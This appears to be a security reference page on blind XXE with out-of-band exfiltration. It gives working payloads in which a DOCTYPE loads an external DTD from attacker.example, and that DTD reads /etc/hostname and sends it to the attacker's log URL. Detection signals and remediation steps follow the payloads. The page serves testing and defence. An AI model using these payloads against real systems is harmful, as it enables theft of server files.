Skip to content
highOut-of-band

Blind XXE via out-of-band exfiltration

Blind XXE out-of-band exfiltration is how you extract data when the parser resolves entities but never reflects them: you host an external DTD that reads a local file into a parameter entity and smuggles it into the query string of a request back to your server, so the file contents arrive in your access logs.

Target formats
Plain XMLSOAPOffice Open XML
Affected parsers
Java DOM/SAXPHP libxml (legacy)Python lxml
Impact
Blind file disclosureData exfiltration

How it works

When the application parses XML but returns nothing useful, you need an out-of-band channel. Parameter entities (declared with % name) can be used inside the DTD itself, including to build other entity declarations dynamically.

The document references an external DTD on your server. That DTD reads the target file into one parameter entity, then defines a second entity whose SYSTEM URL contains the first entity's value as a query parameter. When the parser resolves it, it makes a request to your server with the file contents in the URL — which you read from your logs.

Which parser configuration makes it work

Requires external parameter entities and external DTD loading to be enabled, and outbound network access from the parser. Needed whenever general entities work but their values are never reflected in a response.

Representative payloads

Replace callback hosts and target paths with your own authorized test values.

In-document request (references your DTD)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">
  %xxe;
]>
<foo>trigger</foo>
Hosted evil.dtd (exfiltrates the file)
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.example/log?x=%file;'>">
%eval;
%exfil;

The &#x25; is an escaped % so the inner parameter entity is declared at the right time.

Variants

FTP channel for multi-line files

HTTP URLs choke on newlines in the exfiltrated value. Hosting a tiny FTP listener and exfiltrating via an ftp:// URL tolerates multi-line file contents on some parsers.

Detection

As a tester, host the DTD and watch your server logs for the inbound request carrying the data. As a defender, the tell-tale is an XML parse that triggers two outbound requests (one to fetch the DTD, one to exfiltrate) to the same external host; alert on parameter-entity declarations and external DTD fetches, which legitimate payloads almost never contain.

  • Two sequential outbound requests to one external host during parsing
  • Parameter entity declarations (<!ENTITY % ...) in request bodies
  • External DTD fetch (SYSTEM URL referenced from the internal subset)

Remediation

Disable DOCTYPE processing entirely — blind XXE depends on the DTD subset, so rejecting DOCTYPE kills it outright. If a DTD is required, you must disable external parameter entities specifically (external-parameter-entities = false in Xerces) and disable external DTD loading; disabling only external general entities is not enough, because this technique runs on parameter entities. Also cut outbound network access from the parsing service so no exfiltration channel exists.

Fix checklist

  • Reject DOCTYPE declarations (primary fix)
  • Disable external PARAMETER entities, not just general entities
  • Disable external DTD loading (load-external-dtd = false)
  • Block outbound network from the XML-parsing service

Parser-specific configuration: Java, Python, PHP.

Related techniques

References